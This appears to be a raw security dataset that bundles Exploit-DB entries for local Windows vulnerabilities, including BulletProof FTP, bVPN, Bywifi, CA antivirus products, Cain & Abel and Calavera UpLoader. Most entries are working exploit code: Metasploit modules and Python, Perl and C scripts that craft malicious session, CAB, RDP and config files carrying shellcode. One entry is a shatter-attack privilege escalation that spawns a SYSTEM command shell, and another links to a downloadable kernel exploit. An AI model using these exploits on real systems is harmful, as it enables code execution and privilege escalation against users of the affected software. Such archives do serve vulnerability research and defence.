deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35712
Description: BulletProof FTP Client - BPS Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2015-01-06
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BulletProof FTP Client BPS Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        BulletProof FTP Client 2010, caused by an overly long hostname.
        By persuading the victim to open a specially-crafted .BPS file, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gabor Seljan'
        ],
      'References'     =>
        [
          [ 'EDB', '34162' ],
          [ 'EDB', '34540' ],
          [ 'EDB', '35449' ],
          [ 'OSVDB', '109547' ],
          [ 'CVE', '2014-2973' ],
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d\x1a",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 89,
              'Ret'    => 0x74c86a98  # POP EDI # POP ESI # RET [oleacc.dll]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 24 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
      ],
    self.class)
  end

  def exploit
    eggoptions = {
      :checksum => true,
      :eggtag => 'w00t'
    }

    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
    sploit << rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter               + "\r\n"  # FTP Server HOST / IP
    sploit << rand_text_numeric(5) + "\r\n"  # Port number
    sploit << egg                  + "\r\n"  # Login name
    sploit << rand_text_alpha(8)   + "\r\n"  # Login password

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(sploit)
  end

end
Exploit-DB #8420
Description: BulletProof FTP Client 2009 - '.bps' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-04-13
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Bug : 	    BulletProof FTP Client 2009 (.bps) Buffer Overflow Exploit (SEH)
#[*] Credits :      Stack
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com
#[*] Chi3arona houa :        Serra7 merra7,koulchi mderra7 :D
#[*] translate by Cyb3r-1st: esse7 embe7 embou :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x71"
"\x4f\xd8\x8d\x83\xeb\xfc\xe2\xf4\x8d\xa7\x9c\x8d\x71\x4f\x53\xc8"
"\x4d\xc4\xa4\x88\x09\x4e\x37\x06\x3e\x57\x53\xd2\x51\x4e\x33\xc4"
"\xfa\x7b\x53\x8c\x9f\x7e\x18\x14\xdd\xcb\x18\xf9\x76\x8e\x12\x80"
"\x70\x8d\x33\x79\x4a\x1b\xfc\x89\x04\xaa\x53\xd2\x55\x4e\x33\xeb"
"\xfa\x43\x93\x06\x2e\x53\xd9\x66\xfa\x53\x53\x8c\x9a\xc6\x84\xa9"
"\x75\x8c\xe9\x4d\x15\xc4\x98\xbd\xf4\x8f\xa0\x81\xfa\x0f\xd4\x06"
"\x01\x53\x75\x06\x19\x47\x33\x84\xfa\xcf\x68\x8d\x71\x4f\x53\xe5"
"\x4d\x10\xe9\x7b\x11\x19\x51\x75\xf2\x8f\xa3\xdd\x19\xbf\x52\x89"
"\x2e\x27\x40\x73\xfb\x41\x8f\x72\x96\x2c\xb9\xe1\x12\x4f\xd8\x8d")

header1=(
"\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x42\x75\x6c\x6c\x65\x74"
"\x50\x72\x6f\x6f\x66\x20\x46\x54\x50\x20\x43\x6c\x69\x65\x6e\x74"
"\x20\x53\x65\x73\x73\x69\x6f\x6e\x2d\x46\x69\x6c\x65\x20\x61\x6e"
"\x64\x20\x73\x68\x6f\x75\x6c\x64\x20\x6e\x6f\x74\x20\x62\x65\x20"
"\x6d\x6f\x64\x69\x66\x69\x65\x64\x20\x64\x69\x72\x65\x63\x74\x6c"
"\x79\x2e\x0d\x0a")

exploit =  "passwords.hotmail.com"
exploit += "\x90"*68
exploit += "\x74\x06\x90\x90" #oplaa!
exploit += "\x98\x6A\xBF\x74" #oleacc.dll (xp sp2)
exploit += shellcode

header2=(
"\x0a\x32\x31\x0d\x0a\x41\x42\x41\x42\x43\x0d\x0a\x62\x70\x68\x67\x71"
"\x64\x6e\x62\x6a\x6a\x67\x61\x65\x62\x0d\x0a\x63\x3a\x5c\x0d\x0a"
"\x2f\x0d\x0a")

vuln = header1 + exploit + header2

try:
    out_file = open("sploit.bps",'w')
    out_file.write(vuln)
    out_file.close()
    print "\nSession file created!\n\nNow Go to: file>Load BP Session then chose it and clic Connect\n"
except:
    print "Error!"

# milw0rm.com [2009-04-13]
Exploit-DB #971
Description: BulletProof FTP Server 2.4.0.31 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2005-04-29
Author: Jerome Athias

Exploit:
//******************************************************************************
//Privilege escalation in BulletProof FTP Server v2.4.0.31
//By Jerome Athias
//jerome DOT athias AT free DOT fr
//Discovered by Reed Arvin reedarvin[at]gmail[dot]com
//(http://reedarvin.thearvins.com)
//
//Little PoC
//Gives you a shell with system privileges
//******************************************************************************

#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
char sText[]="%windir%\\system32\\cmd.exe";
char buffer[256];

lHandle=FindWindow(NULL, "BulletProof FTP Server v2.4.0.31");
if (!lHandle)
{
       printf("\nUsage :\nBulletProof FTP Server v2.4.0.31 doesn't seem to run?\n");
       return 0;
}
else
{
       printf("handle for BulletProof : 0x%X\n",lHandle);
}
SetForegroundWindow(lHandle);

SendMessage(lHandle, WM_IME_KEYDOWN, VK_F1, 0); //send F1 key "help me please!"
Sleep(5000);   //I need this time to drink a beer ;P

//Find the browser Handle
//lHandle2=FindWindow(NULL, "BPFTP Server - Mozilla Firefox");
//if (!lHandle2)
//{
       lHandle2=FindWindow("IEFrame", "BPFTP Server - Microsoft Internet Explorer");
       lHandle2=FindWindowEx(NULL, NULL, "IEFrame", NULL);

       printf("handle for IE : 0x%X\n",lHandle2);
       if (!lHandle2)
       {
               printf("\nError while finding the browser's window.\n");
       }
//}
//else
//{
//        printf("handle for Firefox : 0x%X\n",lHandle2);
//}
SetForegroundWindow(lHandle2);

lHandle=FindWindowEx(lHandle2, 0, "WorkerW", 0);
if (lHandle>=0)
{
       lHandle = FindWindowEx(lHandle, 0, "ReBarWindow32", 0);
       if (lHandle>=0)
       {
               //Where are you Charlie...
             lHandle = FindWindowEx(lHandle, 0, "ComboBoxEx32", 0);
             lHandle = FindWindowEx(lHandle, 0, "ComboBox", 0);
             lHandle = FindWindowEx(lHandle, 0, "Edit", 0);
       }
}
else
{
       printf("\nerror :-(\n");
}

SendMessage(lHandle, WM_SETFOCUS, 0, 0);
Sleep(300);
SendMessage(lHandle, WM_SETTEXT, 0, (LPARAM) sText);
//Shatter!
PostMessage(lHandle, WM_KEYDOWN, VK_RETURN, 0);
//whoami? :-)

return 0;
}

// milw0rm.com [2005-04-29]
Exploit-DB #49632
Description: bVPN 2.5.1 - 'waselvpnserv' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-09
Author: Mohammed Alshehri

Exploit:
# Exploit Title: bVPN 2.5.1 - 'waselvpnserv' Unquoted Service Path
# Date: 2021-1-19
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://carolcoral.github.io/no-free_vpn/
# Software Link: https://github.com/carolcoral/no-free_vpn/releases/download/BVPN%[PII_REDACTED]/bVPN_2_5_1_setup.exe
# Version: Version 2.5.1
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc "waselvpnserv"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: waselvpnserv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:/Program Files (x86)/bVPN Service/bVPN/waselvpnserv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : waselvpnserv
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #15888
Description: Bywifi 2.8.1 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2011-01-01
Author: anonymous

Exploit:
/*
# Exploit Title: [bywifi 2.8.1 stack  buffer overflow]
# Author: [Anonymous]
# Software Link: [bywifi.com]
# Version: [2.8.1]
# Tested on: [windows xp Professional French  ]
# CVE : [N/a]
*/

#include <windows.h>
#include <string.h>
#include <stdio.h>
int main()
{
//file name
char exploit[700]="bywifi.exe "; 
//ret addr
char ret[] = "x5D\x38\x82\x7C";
//junk data
char overflow[260];
for(int i=0;i<260;i++){
overflow[i]=0x41;
}
/*
* windows/exec - 144 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* EXITFUNC=process, CMD=calc
*/
char shellcode[] =
"\xbf\xdb\xf9\x8c\x6d\x31\xc9\xb1\x1e\xda\xcd\xd9\x74\x24\xf4"
"\x58\x31\x78\x0f\x03\x78\x0f\x83\xe8\x27\x1b\x79\x91\x3f\x98"
"\x82\x6a\xbf\xaa\xc6\x56\x34\xd0\xcd\xde\x4b\xc6\x45\x51\x53"
"\x93\x05\x4e\x62\x48\xf0\x05\x50\x05\x02\xf4\xa9\xd9\x9c\xa4"
"\x4d\x19\xea\xb3\x8c\x50\x1e\xbd\xcc\x8e\xd5\x86\x84\x74\x12"
"\x8c\xc1\xfe\x45\x4a\x08\xea\x1c\x19\x06\xa7\x6b\x42\x0a\x36"
"\x87\xf6\x2e\xb3\x56\xe2\xc7\x9f\x7c\xf0\x14\x40\x4c\x0e\xfa"
"\x29\xca\x65\xbc\xe5\x99\x3a\x4c\x8d\xee\xa6\xe1\x1a\x66\xdf"
"\x70\xe4\xf4\x1f\xe8\x45\x93\x6f\x66\x61\x3c\xf8\xee\x94\x48"
"\xf6\x59\x96\xaa\x64\x04\x04\x56\x6b";
printf("Exploiting ......\n");
strcat(exploit, overflow);
strcat(exploit, ret);
strcat(exploit, shellcode);
WinExec(exploit,0);
printf("Exploitation Finished\n");
return 0;
}
Exploit-DB #16677
Description: CA AntiVirus Engine - CAB Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: ca_cab.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA Antivirus Engine CAB Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
					By creating a specially crafted CAB file, an an attacker may be able
					to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2007-2864' ],
					[ 'OSVDB', '35245'],
					[ 'BID', '24330' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 05 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cab']),
			], self.class)
	end

	def exploit

		cab_header =  "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
		cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
		cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
		cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"

		sploit =  make_nops(268 - payload.encoded.length) + payload.encoded
		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
		sploit << make_nops(800)

		cab = cab_header + sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(cab)

	end

end

=begin
0:001> !exchain
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
00cdf2fc: 316a4130
Invalid exception stack at 6a413969
0:001> !pattern_offset 1024 0x6a413969
[Byakugan] Control of 0x6a413969 at offset 268.
0:001> !pattern_offset 1024 0x316a4130
[Byakugan] Control of 0x316a4130 at offset 272.
0:001> u 0x6dc886ea L3
INOCORE!QSIInitQSysInfo+0x278a:
6dc886ea 5f              pop     edi
6dc886eb 5e              pop     esi
6dc886ec c3              ret
=end
Exploit-DB #15624
Description: CA Internet Security Suite 2010 - 'KmxSbx.sys' Kernel Pool Overflow
Type: local
Platform: windows
Date: 2010-11-28
Author: Nikita Tarakanov

Exploit:
/*
# Exploit Title: CA Internet Security Suite 2010 KmxSbx.sys Kernel Pool 
Overflow 0-day Exploit
# Date: 2010-11-28
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: 
http://shop.ca.com/ca/products/internetsecurity/internetsecurity_suite.asp
# Version: up to date, KmxSbx.sys version 6.2.0.22
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/

1.Description:

The KmxSbx.sys kernel driver distributed with CA Security Suite contains 
a pool corruption vulnerability in the handling of IOCTL 0x88000080.
Exploitation of this issue allows an attacker to execute arbitrary code 
within the kernel.
An attacker would need local access to a vulnerable computer to exploit 
this vulnerability.



Affected application: CA Internet Security Suite 2010.
Affected file: KmxSbx.sys version 6.2.0.22.

2.Vulnerability details:


[..]

.text:00016330                 mov     cx, [eax]       ; eax points to 
attacker controlled data
.text:00016333                 inc     eax
.text:00016334                 inc     eax
.text:00016335                 test    cx, cx
.text:00016338                 jnz     short loc_16330
.text:0001633A                 sub     eax, edx
.text:0001633C                 sar     eax, 1
.text:0001633E                 lea     eax, [eax+eax+50h] ; size of 
UNICODE string + 0x50 bytes
.text:00016342                 movzx   edi, ax         ; integer wrap here!
.text:00016345
.text:00016345 loc_16345:                              ; CODE XREF: 
sub_162D8+53j
.text:00016345                 movzx   eax, di
.text:00016348                 push    ebx
.text:00016349                 xor     ebx, ebx
.text:0001634B                 cmp     eax, ebx
.text:0001634D                 jz      short loc_16359
.text:0001634F                 push    eax             ; NumberOfBytes
.text:00016350                 push    ebx             ; PoolType
.text:00016351                 call    ds:ExAllocatePool ; Miscalculated 
Pool!!!
.text:00016357                 mov     ebx, eax

[..]

.text:000163A6                 movzx   esi, word ptr [edx]
.text:000163A9                 mov     [eax+edx], si   ; Pool overflow here!
.text:000163AD                 inc     edx
.text:000163AE                 inc     edx
.text:000163AF                 test    si, si




3.Exploitation:


1.To exploit this vulnerability we have to allocate shellcode at some 
address, craft fake chunk header, that creates write4 primitive.
2.To invoke our shellcode we have to set such values in Flink,Blink, 
that points to some pointer in kernel space, and address of our r0 
shellcode.When unlinking happens, we overwrite pointer in kernel space, 
and force execution with kernel priviligies(cpl==0).
*3.Pool repair

Exploit code is in CAInternetSecuritySuite2010.zip file.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15624.zip (CAInternetSecuritySuite2010.zip)
Exploit-DB #7309
Description: Cain & Abel 4.9.24 - '.rdp' Local Stack Overflow
Type: local
Platform: windows
Date: 2008-11-30
Author: SkD

Exploit:
#!/usr/bin/perl
#
# Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit
# Exploit by SkD (skdrat@hotmail.com)
# -----------------------------------------------
#
# Nothing much to say about this one. This works on
# an updated Windows XP SP3. On Vista this exploit is way easier
# the more challenging one was on XP, and here it is.
# Enjoy :). Also remember if you want to put your own shellcode
# there are a few character restrictions and using Alpha2 or
# Alpha Numerical won't work at all.
# To open the .RDP file in Cain & Abel, click the
# "Remote Password Decoder Dialog" icon.
# Credits to Encrypt3d.M!nd.
# {Author has no responsibility over the damage you do with this!}

use strict; use warnings;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19".
"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c".
"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10".
"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54".
"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f".
"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d".
"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2".
"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31".
"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d".
"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21".
"\x7c\xc5\xd8\x59";
my $addr = "\xb5\xb5\xfd\x7f";
my $overflow = "\x41" x 8206 ;
my $overflow2 = "\x41" x 255 ;
my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)

open(my $rdp, "> s.rdp");
print $rdp $overflow.$eip.$addr.$overflow2.$shellcode;
close($rdp);

# milw0rm.com [2008-11-30]
Exploit-DB #7688
Description: Cain & Abel 4.9.25 - 'Cisco IOS-MD5' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-01-07
Author: send9

Exploit:
#!perl -w
# Simple overflow for Cain & Abel v4.9.25 (and below?)
# This script will output a file; import this file as a 
# config file under Cracker -> Cisco IOS-MD5 Hashes
#
# If Cain crashes but calc.exe isn't run, change $eip to reflect
# your system.
#
# send9 /at/ chiseclabs.com

use strict;

my $eip = "\xD8\x69\x83\x7C"; # 0x7C8369D8 - kernel32.dll, call esp (WinXP SP2)
my $nop = "\x90" x 4;
my $pad = "A" x 100;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x30\x42\x50\x4b\x48\x45\x44\x4e\x53\x4b\x58\x4e\x57".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x48".
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48".
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x54".
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x38".
"\x41\x30\x4b\x4e\x49\x58\x4e\x55\x46\x32\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x38\x42\x34\x4e\x30\x4b\x58\x42\x47\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x56\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x46\x4e\x33\x4f\x35\x41\x33".
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x35\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36".
"\x4e\x46\x43\x46\x50\x32\x45\x56\x4a\x37\x45\x56\x42\x30\x5a";

my $b00m = $pad . $eip . $nop . $shellcode;

open(BOF,">cain_ios_ex.conf") or die "Error: Can't open a file for writing\n";
print BOF $b00m;
close(BOF);

print "Now just open cain_ios_ex.conf as a configuration file under Cracker -> Cisco IOS-MD5 Hashes.\n";

# milw0rm.com [2009-01-07]
Exploit-DB #50728
Description: Cain & Abel 4.9.56 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-10
Author: Aryan Chehreghani

Exploit:
# Exploit Title: Cain & Abel 4.9.56 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 2022-02-08
# Software Link: https://www.malavida.com/en/soft/cain-and-abel
# Version: 4.9.56
# Tested on: Windows 10 x64

# PoC

SERVICE_NAME: Abel
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Cain\Abel64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Abel
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #32050
Description: Calavera UpLoader 3.5 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2014-03-04
Author: Daniel la calavera

Exploit:
#exploit por Daniel - La Calavera
#Email: Lacalavera@gmail.com
# Para CracksLatinoS

#relleno

rell = "\x41"* 477
rell1 = "\x42"* 4000

head = "\x41"* 8
head += "\x0d\x0a\x31\x0d\x0a"
head1 = "\x0d\x0a"
head2 = "170.1.1.0"
head2 +="\x0d\x0a"
head2 +="\x22"
head2 += "C:\Archivos2de2programa\Uploader!\Uploader!23151EXE"
head2 +="\x22"


# shellcode para calc.exe

shellcode = "\x33\xD2\xB2\x50\x80\xF2\x55\x52\xC6\x45"
shellcode += "\x31\x63\xC6\x45\x32\x61\xC6\x45\x33\x6C"
shellcode += "\xC6\x45\x34\x63\xC6\x45\x35\x2E\xC6\x45\x36\x65"
shellcode += "\xC6\x45\x37\x78\xC6\x45\x38\x65\x88\x45"
shellcode += "\x39\x8D\x45\x31\x50\xB9\x31\x75\x66\x31"
shellcode += "\x81\xF1\x69\x4D\x26\x31\xFF\xe1"

# Next SHE
Nshe = "\xeb\x06\x90\x90"
# POP POP RETN
PPR = "\x38\xbf\x40\x00"

explo = (head + rell + Nshe + PPR + shellcode + rell1 + head1 + head2)
arch = open ("uploadpref.dat", "w")

arch.write(explo)
arch.close